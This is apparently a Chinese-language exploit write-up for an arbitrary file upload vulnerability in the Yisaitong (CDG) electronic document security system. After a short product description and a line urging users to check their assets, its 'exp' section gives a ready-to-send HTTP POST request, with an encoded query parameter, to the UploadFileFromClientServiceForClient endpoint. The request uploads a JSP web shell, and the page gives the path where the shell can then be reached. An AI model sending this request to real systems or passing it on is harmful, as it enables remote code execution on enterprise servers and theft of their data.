**亿赛通 /UploadFileFromClientServiceForClient 任意文件上传漏洞**

## 介绍

亿某通电子文档安全管理系统（简称：CDG）是一款电子文档安全加密软件，该系统利用驱动层透明加密技术，通过对电子文档的加密保护，防止内部员工泄密和外部人员非法窃取企业校心重要数据资产,对电子文档进行全生命周期防护，系统具有透明加密、主动加密、智能加密等多种加密方式，用户可根据部门涉密程度的不同（如核心部门和普通部门），部署力度轻重不一的梯度式文档加密防护，实现技术、管理、审计进行有机的结合，在内部构建起立体化的整体信息防泄露体系，使得成本、效率和安全三者达到平衡，实现电子文档的数据安全。

近日监测发现某通电子文档安全管理系统任意文件上传漏洞，攻击者可通过发送特制请求来利用此漏洞，成功利用此漏洞可在目标系统上执行任意代码。

对此，建议广大用户做好资产自查以及预防工作，以免遭受黑容攻击。

## 影响范围

其他未确认版本需自查

## exp

直接bp发包即可，shell访问地址：<https://x.x.x.x/tttT.jsp>

POST /CDGServer3/UploadFileFromClientServiceForClient?AFMALANMJCEOENIBDJMKFHBANGEPKHNOFJBMIFJPFNKFOKHJNMLCOIDDJGNEIPOLOKGAFAFJHDEJPHEPLFJHDGPBNELNFIICGFNGEOEFBKCDDCGJEPIKFHJFAOOHJEPNNCLFHDAFDNCGBAEELJFFHABJPDPIEEMIBOECDMDLEPBJGBGCGLEMBDFAGOGM HTTP/1.1  
Host:  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0  
Accept: \*/\*  
Content-Length: 1  
  
shell内容

纯文本